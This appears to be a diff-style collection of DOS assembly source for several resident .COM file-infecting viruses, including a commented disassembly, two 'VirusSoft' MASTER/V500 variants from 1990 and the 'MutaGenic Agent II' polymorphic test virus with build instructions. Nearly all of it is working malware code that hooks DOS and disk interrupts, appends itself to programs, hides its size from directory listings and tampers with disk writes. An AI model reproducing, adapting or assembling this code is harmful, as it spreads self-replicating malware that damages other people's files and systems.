|
||||
jz h_029b ;yes, stop here
|
||||
cmp ch,12h ;fn = FCB find next?
|
||||
jnz h_02b4 ;no, skip this
|
||||
h_029b:
|
||||
xchg ax,cx ;get fn back
|
||||
int 0ffh ;call to DOS
|
||||
push ax ;save return code
|
||||
test byte ptr es:[bx+13h],0c0h ;check our attribute bits
|
||||
jz h_02ac ;not set, skip this
|
||||
sub word ptr es:[bx+24h],offset h_03f5-h_0201
|
||||
;update filesize to hide virus (01f4h)
|
||||
h_02ac:
|
||||
pop ax ;restore regs
|
||||
h_02ad:
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,+0ch ;cleanup stack
|
||||
iret ;and return to caller
|
||||
;BUG: Should preserve returned flags!
|
||||
h_02b4:
|
||||
mov ah,19h ;fn = get current disk
|
||||
int 0ffh ;call to DOS
|
||||
push ax ;save disk
|
||||
cmp ch,36h ;fn = get disk free space?
|
||||
jz h_02e9 ;yes, stop here
|
||||
cmp ch,4eh ;fn = find first?
|
||||
jz h_02e0 ;yes, stop here
|
||||
cmp ch,4bh ;fn = load/execute?
|
||||
jz h_02e0 ;yes, stop here
|
||||
cmp ch,47h ;fn = get current dir?
|
||||
jnz h_02d1 ;no, skip this
|
||||
cmp al,02h ;drive >= C:?
|
||||
jae h_02ee ;yes, stop here
|
||||
h_02d1:
|
||||
cmp ch,5bh ;fn = create new file?
|
||||
jz h_02e0 ;yes, stop here
|
||||
shr ch,1 ;fn / 2
|
||||
cmp ch,1eh ;fn = 3C or 3D?
|
||||
;create file or open file?
|
||||
jz h_02e0 ;yes, stop here
|
||||
jmp h_03bb ;else continue DOS call
|
||||
h_02e0:
|
||||
mov ax,121ah ;fn = get file's drive
|
||||
xchg si,dx ;ds:si = filename
|
||||
int 2fh ;multiplex interrupt
|
||||
xchg ax,dx ;ax = old si, dx = drive
|
||||
xchg ax,si ;old si to si
|
||||
h_02e9:
|
||||
mov ah,0eh ;fn = set current disk
|
||||
dec dx ;drive A: = 0, B: = 2, etc
|
||||
int 0ffh ;call to DOS
|
||||
h_02ee:
|
||||
push es ;save dta seg
|
||||
push bx ;and dta ofs
|
||||
sub sp,+2ch ;allocate locals
|
||||
mov dx,sp ;get ptr to local DTA
|
||||
push sp ;save ptr to local DTA
|
||||
mov ah,1ah ;fn = set DTA
|
||||
push ss ;stack segment
|
||||
pop ds ;is DTA seg
|
||||
int 0ffh ;call to DOS
|
||||
mov bx,dx ;bx = ptr to DTA
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov ah,4eh ;fn = find first matching file
|
||||
mov dx,offset h_03e9 ;ds:dx = wildcard_com
|
||||
mov cx,0003h ;attributes = HIDDEN, Read-Only
|
||||
int 0ffh ;call to DOS
|
||||
jnae h_0319 ;error, cleanup and exit
|
||||
h_030c:
|
||||
test byte ptr ss:[bx+15h],80h ;our attribute set?
|
||||
jz h_031c ;no, continue
|
||||
;BUG: If it will re-infect a file with the
|
||||
; MG-2 attribute set, then the above
|
||||
; size change mask will FAIL!
|
||||
h_0313:
|
||||
mov ah,4fh ;fn = find next matching file
|
||||
int 0ffh ;call to DOS
|
||||
jae h_030c ;OK, check out this file
|
||||
h_0319:
|
||||
jmp h_03b2 ;cleanup and exit
|
||||
h_031c:
|
||||
cmp byte ptr ss:[bx+1bh],0fdh ;file too big?
|
||||
ja h_0313 ;yes, try next file
|
||||
mov word ptr [0090h],offset h_03c7 ;set INT24HERE ofs
|
||||
mov [0092h],cs ;and INT24HERE seg
|
||||
;NOTE: The original values are NOT saved!
|
||||
les ax,[004ch] ;get INT 13 vector
|
||||
mov [h_03f7],ax ;save oldint13ofs
|
||||
mov [h_03f9],es ;and oldint13seg
|
||||
h_0339 equ $+1 ;dosver_skip
|
||||
jmp short h_033a ;if not DOS 3.3+, skip this
|
||||
h_033a:
|
||||
mov word ptr [004ch],offset h_03ca ;set ofs of INT13HERE_2
|
||||
mov [004eh],cs ;and new INT 13 seg, too
|
||||
;
|
||||
; dosver_skip comes here
|
||||
;
|
||||
push ss ;DTA seg
|
||||
pop ds ;to ds
|
||||
push word ptr [bx+16h] ;save file time
|
||||
push word ptr [bx+18h] ;and file date
|
||||
push word ptr [bx+15h] ;and file attributes
|
||||
lea dx,[bx+1eh] ;ds:dx = name found in DTA
|
||||
mov ax,4301h ;fn = set file attributes
|
||||
pop cx ;get file attributes
|
||||
and cx,00feh ;high byte, R/O bit off
|
||||
or cl,0c0h ;set our attributes
|
||||
int 0ffh ;call to DOS
|
||||
mov ax,3d02h ;fn = open file for read/write
|
||||
int 0ffh ;call to DOS
|
||||
xchg ax,bx ;handle to bx
|
||||
push cs ;current segment
|
||||
pop ds ;to ds
|
||||
mov ah,3fh ;fn = read file
|
||||
mov cx,0003h ;size of saved_prog_start
|
||||
mov dx,offset h_0201 ;ds:dx = saved_prog_start
|
||||
int 0ffh ;call to DOS
|
||||
mov ax,4202h ;fn = lseek to EOF+CX:DX
|
||||
xor dx,dx ;cx:dx = 0
|
||||
mov cx,dx
|
||||
int 0ffh ;call to DOS
|
||||
mov [h_03f5],ax ;save virus_call_ofs
|
||||
mov ah,40h ;fn = write to file
|
||||
mov cx,offset h_03f5-h_0201 ;virus size (01f4h)
|
||||
mov dx,offset h_0201 ;ds:dx = this virus
|
||||
int 0ffh ;call to DOS
|
||||
jnae h_039c ;error, cleanup and quit
|
||||
mov ax,4200h ;fn = lseek to BOF+CX:DX
|
||||
xor dx,dx ;cx:dx = 0
|
||||
mov cx,dx
|
||||
int 0ffh ;call to DOS
|
||||
mov ah,40h ;fn = write to file
|
||||
mov cx,0003h ;size of virus_call
|
||||
mov dx,offset h_03f4 ;ds:dx = virus_call
|
||||
int 0ffh ;call to DOS
|
||||
h_039c:
|
||||
mov ax,5701h ;fn = set file time/date
|
||||
pop dx ;restore file date
|
||||
pop cx ;and file time
|
||||
int 0ffh ;call to DOS
|
||||
mov ah,3eh ;fn = close file
|
||||
int 0ffh ;call to DOS
|
||||
les ax,[h_03f7] ;get oldint13
|
||||
mov [004ch],ax ;restore INT 13 ofs
|
||||
mov [004eh],es ;and INT 13 seg
|
||||
h_03b2:
|
||||
add sp,+2eh ;clean stuff off stack
|
||||
pop dx ;restore old DTA ofs
|
||||
pop ds ;and old DTA seg
|
||||
mov ah,1ah ;fn = set DTA
|
||||
int 0ffh ;call to DOS
|
||||
h_03bb:
|
||||
pop dx ;get default drive back
|
||||
mov ah,0eh ;fn = set current drive
|
||||
int 0ffh ;call to DOS
|
||||
pop es ;restore regs
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
iret ;continue INT 21
|
||||
;
|
||||
; int24here
|
||||
;
|
||||
h_03c7:
|
||||
mov al,03h ;response = FAIL
|
||||
iret ;and done
|
||||
;
|
||||
; int13here_2
|
||||
;
|
||||
h_03ca:
|
||||
cmp ah,03h ;fn = write?
|
||||
jnz h_03d6 ;no, skip this
|
||||
inc byte ptr cs:[h_03ef] ;update ??
|
||||
dec ah ;change function to read
|
||||
h_03d6:
|
||||
jmp dword ptr cs:[h_03f7] ;and continue INT 13
|
||||
;
|
||||
; int13here
|
||||
;
|
||||
h_03db:
|
||||
shr byte ptr cs:[h_03ef],1 ;update ??
|
||||
jae h_03e4 ;yes, skip this
|
||||
inc ah ;change function
|
||||
;i.e. read changes to write, etc!
|
||||
h_03e4:
|
||||
jmp dword ptr cs:[h_07b0] ;continue INT 13
|
||||
;
|
||||
h_03e9 db "* .COM" ;wildcard_com
|
||||
h_03ef db 00h
|
||||
;NOTE: location of following data CANNOT change!
|
||||
h_03f0 dw h_0281,0000h ;INT 0FCH vector!
|
||||
h_03f4 db 0e8h ;virus_call
|
||||
h_03f5 equ $
|
||||
;
|
||||
; references after the end of code space
|
||||
;
|
||||
org 03f5h
|
||||
h_03f5 label word ;virus_call_ofs
|
||||
org 03f7h
|
||||
h_03f7 label word ;oldint13ofs
|
||||
org 03f9h
|
||||
h_03f9 label word ;oldint13seg
|
||||
fun ends
|
||||
end h_01f8
|
||||
@@ -0,0 +1,300 @@
|
||||
; (C) Copyright VirusSoft Corp. Aug, 1990
|
||||
|
||||
ofs = 201h
|
||||
len = offset end-ofs
|
||||
|
||||
start: call $+6
|
||||
|
||||
org ofs
|
||||
|
||||
first: dw 020cdh
|
||||
db 0
|
||||
|
||||
xchg ax,dx
|
||||
pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
add si,di
|
||||
cld
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov ax,4b04h
|
||||
int 21h
|
||||
jnc residnt
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,ofs+3
|
||||
mov cx,len-3
|
||||
rep movsb
|
||||
|
||||
les di,[6]
|
||||
mov al,0eah
|
||||
dec cx
|
||||
repne scasb
|
||||
les di,es:[di] ; Searching for the INT21 vector
|
||||
sub di,-1ah-7
|
||||
|
||||
db 0eah
|
||||
dw offset jump,0 ; jmp far 0000:jump
|
||||
|
||||
jump: push es
|
||||
pop ds
|
||||
mov si,[di+3-7] ;
|
||||
lodsb ;
|
||||
cmp al,68h ; compare DOS Ver
|
||||
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||
mov [di+2-7],0fc80h ;
|
||||
mov [di-7],0fccdh ;
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [1020],di ; int 0ffh
|
||||
mov [1022],es
|
||||
|
||||
mov beg-1,byte ptr not3_3-beg
|
||||
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||
mov beg-1,byte ptr 0
|
||||
mov [7b4h],offset pr7b4
|
||||
mov [7b6h],cs ; 7b4
|
||||
|
||||
not3.3: mov al,0a9h ; Change attrib
|
||||
cont: repne scasb
|
||||
cmp es:[di],0ffd8h
|
||||
jne cont
|
||||
mov al,18h ; mov es:[di],byte ptr 98h
|
||||
stosb ;
|
||||
|
||||
push ss
|
||||
pop ds
|
||||
|
||||
push ss
|
||||
pop es
|
||||
|
||||
residnt: xchg ax,dx
|
||||
push ds ; jmp start
|
||||
mov dx,0100h ;
|
||||
push dx ;
|
||||
retf ; ret far
|
||||
|
||||
;--------Interrupt process--------;
|
||||
|
||||
i21pr: push ax
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
|
||||
if4b04: cmp ax,4b04h
|
||||
je rti
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,02fh
|
||||
int 0ffh
|
||||
|
||||
if11_12: cmp ch,11h
|
||||
je yes
|
||||
cmp ch,12h
|
||||
jne inffn
|
||||
yes: xchg ax,cx
|
||||
int 0ffh
|
||||
push ax
|
||||
test es:byte ptr [bx+19],0c0h
|
||||
jz normal
|
||||
sub es:[bx+36],len
|
||||
normal: pop ax
|
||||
rti: pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,12
|
||||
iret
|
||||
|
||||
inffn: mov ah,19h
|
||||
int 0ffh
|
||||
push ax
|
||||
|
||||
if36: cmp ch,36h ; -free bytes
|
||||
je beg_36
|
||||
if4b: cmp ch,4bh ; -exec
|
||||
je beg_4b
|
||||
if47: cmp ch,47h ; -directory info
|
||||
jne if5b
|
||||
cmp al,2
|
||||
jae begin ; it's hard-disk
|
||||
if5b: cmp ch,5bh ; -create new
|
||||
je beg_4b
|
||||
if3c_3d: shr ch,1 ; > -open & create
|
||||
cmp ch,1eh ; -
|
||||
je beg_4b
|
||||
|
||||
jmp rest
|
||||
|
||||
beg_4b: mov ax,121ah
|
||||
xchg dx,si
|
||||
int 2fh
|
||||
xchg ax,dx
|
||||
xchg ax,si
|
||||
|
||||
beg_36: mov ah,0eh ; change current drive
|
||||
dec dx ;
|
||||
int 0ffh ;
|
||||
|
||||
begin:
|
||||
push es ; save DTA address
|
||||
push bx ;
|
||||
sub sp,44
|
||||
mov dx,sp ; change DTA
|
||||
push sp
|
||||
mov ah,1ah
|
||||
push ss
|
||||
pop ds
|
||||
int 0ffh
|
||||
push ds
|
||||
pop es
|
||||
mov bx,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,04eh
|
||||
mov dx,offset file
|
||||
mov cx,3 ; r/o , hidden
|
||||
int 0ffh ; int 21h
|
||||
jc lst
|
||||
|
||||
next: test es:[bx+21],byte ptr 80h
|
||||
jz true
|
||||
nxt: mov ah,4fh ; find next
|
||||
int 0ffh
|
||||
jnc next
|
||||
lst: jmp last
|
||||
|
||||
true: cmp es:[bx+27],byte ptr 0fdh
|
||||
ja nxt
|
||||
mov [144],offset i24pr
|
||||
mov [146],cs
|
||||
|
||||
push es
|
||||
les di,[4ch] ; int 13h
|
||||
mov i13adr,di
|
||||
mov i13adr+2,es
|
||||
jmp short $
|
||||
beg: mov [4ch],offset i13pr
|
||||
mov [4eh],cs
|
||||
;
|
||||
not3_3: pop ds
|
||||
push [bx+22] ; time +
|
||||
push [bx+24] ; date +
|
||||
push [bx+21] ; attrib +
|
||||
lea dx,[bx+30] ; ds : dx = offset file name
|
||||
mov ax,4301h ; Change attrib !!!
|
||||
pop cx
|
||||
and cx,0feh ; clear r/o and CH
|
||||
or cl,0c0h ; set Infect. attr
|
||||
int 0ffh
|
||||
|
||||
mov ax,03d02h ; open
|
||||
int 0ffh ; int 21h
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,3
|
||||
mov dx,offset first
|
||||
int 0ffh
|
||||
|
||||
mov ax,04202h ; move fp to EOF
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
mov word ptr cal_ofs+1,ax
|
||||
|
||||
mov ah,040h
|
||||
mov cx,len
|
||||
mov dx,ofs
|
||||
int 0ffh
|
||||
jc not_inf
|
||||
|
||||
mov ax,04200h
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
|
||||
mov ah,040h
|
||||
mov cx,3
|
||||
mov dx,offset cal_ofs
|
||||
int 0ffh
|
||||
|
||||
not_inf: mov ax,05701h
|
||||
pop dx ; date
|
||||
pop cx ; time
|
||||
int 0ffh
|
||||
|
||||
mov ah,03eh ; close
|
||||
int 0ffh
|
||||
|
||||
les ax,dword ptr i13adr
|
||||
mov [4ch],ax ; int 13h
|
||||
mov [4eh],es
|
||||
|
||||
last: add sp,46
|
||||
pop dx
|
||||
pop ds ; restore DTA
|
||||
mov ah,1ah
|
||||
int 0ffh
|
||||
|
||||
rest: pop dx ; restore current drive
|
||||
mov ah,0eh ;
|
||||
int 0ffh ;
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
i21cl: iret ; Return from INT FC
|
||||
|
||||
i24pr: mov al,3 ; Critical errors
|
||||
iret
|
||||
|
||||
i13pr: cmp ah,3
|
||||
jne no
|
||||
inc byte ptr cs:activ
|
||||
dec ah
|
||||
no: jmp dword ptr cs:i13adr
|
||||
|
||||
pr7b4: db 2eh,0d0h,2eh
|
||||
dw offset activ
|
||||
; shr cs:activ,1
|
||||
jnc ex7b0
|
||||
inc ah
|
||||
ex7b0: jmp dword ptr cs:[7b0h]
|
||||
|
||||
;--------
|
||||
|
||||
file: db "*.COM"
|
||||
|
||||
activ: db 0
|
||||
|
||||
dw offset i21pr ; int 0fch
|
||||
dw 0
|
||||
|
||||
cal_ofs: db 0e8h
|
||||
|
||||
end:
|
||||
dw ? ; cal_ofs
|
||||
|
||||
i13adr: dw ?
|
||||
dw ?
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
; ========================================================================>
|
||||
; MutaGenic Agent ][ - MutaGen V1.3 Test Virus
|
||||
; by MnemoniX 1994
|
||||
;
|
||||
; A simple resident .COM infector implementing MutaGen.
|
||||
; To assemble:
|
||||
; TASM mg2
|
||||
; TLINK /t mg2 mutagen
|
||||
; ========================================================================>
|
||||
|
||||
ID equ 'MG'
|
||||
|
||||
PING equ 0BADh ; a seldom used DOS function
|
||||
PONG equ 0DEADh ; residency response
|
||||
|
||||
MUTAGEN_SIZE equ 1652 ; version 1.3
|
||||
|
||||
extrn _MUTAGEN:near
|
||||
|
||||
code segment byte public 'code'
|
||||
org 100h
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
|
||||
start:
|
||||
jmp virus_begin ; fake host program
|
||||
dw ID ; infection signature
|
||||
virus_begin:
|
||||
call $ + 3
|
||||
pop bp
|
||||
sub bp,offset $ - 1
|
||||
|
||||
mov ax,PING ; are we already resident?
|
||||
int 21h
|
||||
cmp dx,PONG
|
||||
je installed ; if so, don't repeat ...
|
||||
|
||||
mov ax,ds ; blah, blah, blah
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[3],(MEM_SIZE + 15) / 16 + 1
|
||||
sub word ptr ds:[12h],(MEM_SIZE + 15) / 16 + 1
|
||||
mov ax,ds:[12h]
|
||||
mov ds,ax
|
||||
|
||||
sub ax,15
|
||||
mov es,ax
|
||||
mov byte ptr ds:[0],'Z'
|
||||
mov word ptr ds:[1],8
|
||||
mov word ptr ds:[3],(MEM_SIZE + 15) / 16
|
||||
|
||||
push cs ; now move virus into memory
|
||||
pop ds
|
||||
mov di,100h
|
||||
mov cx,(offset virus_end - offset start) / 2
|
||||
lea si,[bp + start]
|
||||
rep movsw
|
||||
|
||||
xor ax,ax ; move interrupt vector 21
|
||||
mov ds,ax
|
||||
|
||||
mov si,21h * 4 ; (saving it first)
|
||||
mov di,offset old_int_21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov ds:[si - 4],offset new_int_21
|
||||
mov ds:[si - 2],es
|
||||
|
||||
installed:
|
||||
push cs
|
||||
push cs
|
||||
pop ds
|
||||
pop es
|
||||
|
||||
mov di,100h ; restore original host
|
||||
push di
|
||||
lea si,[bp + host]
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
|
||||
xor ax,ax ; fix a few registers
|
||||
cwd
|
||||
mov si,100h
|
||||
|
||||
ret ; and leave
|
||||
|
||||
new_int_21:
|
||||
cmp ax,PING ; residency test?
|
||||
je pass_signal ; yah yah!
|
||||
|
||||
cmp ax,4B00h ; program execute?
|
||||
je execute ; oui oui ...
|
||||
|
||||
int_21_exit:
|
||||
db 0EAh ; nope, never mind
|
||||
old_int_21 dd 0
|
||||
|
||||
pass_signal:
|
||||
mov dx,PONG ; give passing signal
|
||||
jmp int_21_exit
|
||||
|
||||
execute:
|
||||
push ax bx cx dx di si es ds ; a PUSHA is nicer, but it
|
||||
; won't work on an 8088
|
||||
|
||||
mov ax,3D00h ; open file
|
||||
int 21h
|
||||
jnc get_sft
|
||||
jmp cant_open ; ecch ...
|
||||
get_sft:
|
||||
xchg ax,bx ; this virus implements the
|
||||
push bx ; use of System File Table
|
||||
mov ax,1220h ; (TM) manipulation
|
||||
int 2Fh
|
||||
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov cx,5 ; read header of file
|
||||
mov dx,offset host
|
||||
mov ah,3Fh
|
||||
int 21h
|
||||
|
||||
cmp word ptr host,'ZM' ; .EXE file?
|
||||
je dont_infect ; oh well ...
|
||||
|
||||
cmp word ptr host[3],ID ; already infected?
|
||||
je dont_infect ; maybe next time ...
|
||||
|
||||
mov word ptr es:[di + 2],2 ; a slick way of sidestepping
|
||||
; file attributes
|
||||
mov ax,es:[di + 11h] ; get file size
|
||||
|
||||
cmp ax,65729 - VIRUS_SIZE + 100
|
||||
jae dont_infect ; don't infect, too large
|
||||
|
||||
mov es:[di + 15h],ax ; move to end of file
|
||||
|
||||
sub ax,3 ; adjust for jump
|
||||
mov word ptr new_jump[1],ax
|
||||
|
||||
; MutaGen calling routine
|
||||
push es di
|
||||
|
||||
push cs ; setup registers
|
||||
pop es
|
||||
|
||||
mov di,offset virus_end
|
||||
mov si,offset virus_begin
|
||||
mov cx,VIRUS_SIZE
|
||||
add ax,103h
|
||||
mov dx,ax
|
||||
|
||||
call _mutagen ; "It's a POLYMORPHIC WAR
|
||||
; OUT THERE!" - P. Ferguson
|
||||
|
||||
pop di es ; restore DI and ES
|
||||
|
||||
mov ah,40h ; save virus code to file
|
||||
int 21h
|
||||
|
||||
mov word ptr es:[di + 15h],0 ; reset file pointer
|
||||
|
||||
mov ah,40h ; and write new jump to file
|
||||
mov dx,offset new_jump
|
||||
mov cx,5
|
||||
int 21h
|
||||
|
||||
mov cx,es:[di + 0Dh] ; restore file time
|
||||
mov dx,es:[di + 0Fh]
|
||||
mov ax,5701h
|
||||
int 21h
|
||||
|
||||
dont_infect:
|
||||
mov ah,3Eh ; close up shop
|
||||
int 21h
|
||||
cant_open:
|
||||
pop ds es si di dx cx bx ax
|
||||
jmp int_21_exit
|
||||
|
||||
db '[MutaGenic Agent II]',0
|
||||
|
||||
host: ; original host header
|
||||
mov ax,4C00h
|
||||
int 21h
|
||||
|
||||
new_jump db 0E9h ; new jump instruction
|
||||
dw 0
|
||||
dw ID
|
||||
|
||||
virus_end equ $ + MUTAGEN_SIZE + 1 ; add MutaGen size to virus
|
||||
; size
|
||||
|
||||
VIRUS_SIZE equ virus_end - virus_begin
|
||||
MEM_SIZE equ VIRUS_SIZE * 2 + 100 ; extra memory for encryption
|
||||
; buffer
|
||||
|
||||
code ends
|
||||
end start
|
||||
@@ -0,0 +1,314 @@
|
||||
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||
;
|
||||
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||
; virus, distributed by VirusSoft company . First version was made
|
||||
; in May., 1990 . Please don't make any corections in this file !
|
||||
;
|
||||
; Bulgaria, Varna
|
||||
; Sep. 27, 1990
|
||||
|
||||
|
||||
|
||||
ofs = 201h
|
||||
len = offset end-ofs
|
||||
|
||||
call $+6
|
||||
|
||||
org ofs
|
||||
|
||||
first: dw 020cdh
|
||||
db 0
|
||||
|
||||
pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
add si,di
|
||||
push cs
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsb
|
||||
xchg ax,dx
|
||||
|
||||
mov ax,4b04h
|
||||
int 21h
|
||||
jnc residnt
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,ofs+3
|
||||
mov cx,len-3
|
||||
rep movsb
|
||||
|
||||
les di,[6]
|
||||
mov al,0eah
|
||||
dec cx
|
||||
repne scasb
|
||||
les di,es:[di] ; Searching for the INT21 vector
|
||||
sub di,-1ah-7
|
||||
|
||||
db 0eah
|
||||
dw offset jump,0 ; jmp far 0000:jump
|
||||
|
||||
jump: push es
|
||||
pop ds
|
||||
mov si,[di+3-7] ;
|
||||
lodsb ;
|
||||
cmp al,68h ; compare DOS Ver
|
||||
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||
mov [di+2-7],0fc80h ;
|
||||
mov [di-7],0fccdh ;
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [1020],di ; int 0ffh
|
||||
mov [1022],es
|
||||
|
||||
mov beg-1,byte ptr not3_3-beg
|
||||
jb not3.3 ; CY = 0 --> DOS Ver > or = 3.30
|
||||
mov beg-1,byte ptr 0
|
||||
mov [7b4h],offset pr7b4
|
||||
mov [7b6h],cs ; 7b4
|
||||
|
||||
not3.3: mov al,0a9h ; Change attrib
|
||||
cont: repne scasb
|
||||
cmp es:[di],0ffd8h
|
||||
jne cont
|
||||
mov al,18h
|
||||
stosb
|
||||
|
||||
push ss
|
||||
pop ds
|
||||
|
||||
push ss
|
||||
pop es
|
||||
|
||||
residnt: xchg ax,dx
|
||||
retf ; ret far
|
||||
|
||||
;--------Interrupt process--------;
|
||||
|
||||
i21pr: push ax
|
||||
push dx
|
||||
push ds
|
||||
push cx
|
||||
push bx
|
||||
push es
|
||||
|
||||
if4b04: cmp ax,4b04h
|
||||
je rti
|
||||
|
||||
xchg ax,cx
|
||||
mov ah,02fh
|
||||
int 0ffh
|
||||
|
||||
if11_12: cmp ch,11h
|
||||
je yes
|
||||
cmp ch,12h
|
||||
jne inffn
|
||||
yes: xchg ax,cx
|
||||
int 0ffh
|
||||
push ax
|
||||
test es:byte ptr [bx+19],0c0h
|
||||
jz normal
|
||||
sub es:[bx+36],len
|
||||
normal: pop ax
|
||||
rti: pop es
|
||||
pop bx
|
||||
pop cx
|
||||
add sp,12
|
||||
iret
|
||||
|
||||
inffn: mov ah,19h
|
||||
int 0ffh
|
||||
push ax
|
||||
|
||||
if36: cmp ch,36h ; -free bytes
|
||||
je beg_36
|
||||
if4e: cmp ch,4eh ; -find first FM
|
||||
je beg_4b
|
||||
if4b: cmp ch,4bh ; -exec
|
||||
je beg_4b
|
||||
if47: cmp ch,47h ; -directory info
|
||||
jne if5b
|
||||
cmp al,2
|
||||
jae begin ; it's hard-disk
|
||||
if5b: cmp ch,5bh ; -create new
|
||||
je beg_4b
|
||||
if3c_3d: shr ch,1 ; > -open & create
|
||||
cmp ch,1eh ; -
|
||||
je beg_4b
|
||||
|
||||
jmp rest
|
||||
|
||||
beg_4b: mov ax,121ah
|
||||
xchg dx,si
|
||||
int 2fh
|
||||
xchg ax,dx
|
||||
xchg ax,si
|
||||
|
||||
beg_36: mov ah,0eh ; change current drive
|
||||
dec dx ;
|
||||
int 0ffh ;
|
||||
|
||||
begin:
|
||||
push es ; save DTA address
|
||||
push bx ;
|
||||
sub sp,44
|
||||
mov dx,sp ; change DTA
|
||||
push sp
|
||||
mov ah,1ah
|
||||
push ss
|
||||
pop ds
|
||||
int 0ffh
|
||||
mov bx,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,04eh
|
||||
mov dx,offset file
|
||||
mov cx,3 ; r/o , hidden
|
||||
int 0ffh ; int 21h
|
||||
jc lst
|
||||
|
||||
next: test ss:[bx+21],byte ptr 80h
|
||||
jz true
|
||||
nxt: mov ah,4fh ; find next
|
||||
int 0ffh
|
||||
jnc next
|
||||
lst: jmp last
|
||||
|
||||
true: cmp ss:[bx+27],byte ptr 0fdh
|
||||
ja nxt
|
||||
mov [144],offset i24pr
|
||||
mov [146],cs
|
||||
|
||||
les ax,[4ch] ; int 13h
|
||||
mov i13adr,ax
|
||||
mov i13adr+2,es
|
||||
jmp short $
|
||||
beg: mov [4ch],offset i13pr
|
||||
mov [4eh],cs
|
||||
;
|
||||
not3_3: push ss
|
||||
pop ds
|
||||
push [bx+22] ; time +
|
||||
push [bx+24] ; date +
|
||||
push [bx+21] ; attrib +
|
||||
lea dx,[bx+30] ; ds : dx = offset file name
|
||||
mov ax,4301h ; Change attrib !!!
|
||||
pop cx
|
||||
and cx,0feh ; clear r/o and CH
|
||||
or cl,0c0h ; set Infect. attr
|
||||
int 0ffh
|
||||
|
||||
mov ax,03d02h ; open
|
||||
int 0ffh ; int 21h
|
||||
xchg ax,bx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,03fh
|
||||
mov cx,3
|
||||
mov dx,offset first
|
||||
int 0ffh
|
||||
|
||||
mov ax,04202h ; move fp to EOF
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
mov word ptr cal_ofs+1,ax
|
||||
|
||||
mov ah,040h
|
||||
mov cx,len
|
||||
mov dx,ofs
|
||||
int 0ffh
|
||||
jc not_inf
|
||||
|
||||
mov ax,04200h
|
||||
xor dx,dx
|
||||
mov cx,dx
|
||||
int 0ffh
|
||||
|
||||
mov ah,040h
|
||||
mov cx,3
|
||||
mov dx,offset cal_ofs
|
||||
int 0ffh
|
||||
|
||||
not_inf: mov ax,05701h
|
||||
pop dx ; date
|
||||
pop cx ; time
|
||||
int 0ffh
|
||||
|
||||
mov ah,03eh ; close
|
||||
int 0ffh
|
||||
|
||||
les ax,dword ptr i13adr
|
||||
mov [4ch],ax ; int 13h
|
||||
mov [4eh],es
|
||||
|
||||
last: add sp,46
|
||||
pop dx
|
||||
pop ds ; restore DTA
|
||||
mov ah,1ah
|
||||
int 0ffh
|
||||
|
||||
rest: pop dx ; restore current drive
|
||||
mov ah,0eh ;
|
||||
int 0ffh ;
|
||||
|
||||
pop es
|
||||
pop bx
|
||||
pop cx
|
||||
pop ds
|
||||
pop dx
|
||||
pop ax
|
||||
|
||||
i21cl: iret ; Return from INT FC
|
||||
|
||||
i24pr: mov al,3 ; Critical errors
|
||||
iret
|
||||
|
||||
i13pr: cmp ah,3
|
||||
jne no
|
||||
inc byte ptr cs:activ
|
||||
dec ah
|
||||
no: jmp dword ptr cs:i13adr
|
||||
|
||||
pr7b4: db 2eh,0d0h,2eh
|
||||
dw offset activ
|
||||
; shr cs:activ,1
|
||||
jnc ex7b0
|
||||
inc ah
|
||||
ex7b0: jmp dword ptr cs:[7b0h]
|
||||
|
||||
;--------
|
||||
|
||||
file: db "*",32,".COM"
|
||||
|
||||
activ: db 0
|
||||
|
||||
dw offset i21pr ; int 0fch
|
||||
dw 0
|
||||
|
||||
cal_ofs: db 0e8h
|
||||
|
||||
end:
|
||||
dw ? ; cal_ofs
|
||||
|
||||
i13adr: dw ?
|
||||
dw ?
|
||||
|
||||
|
||||
; The End.---
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
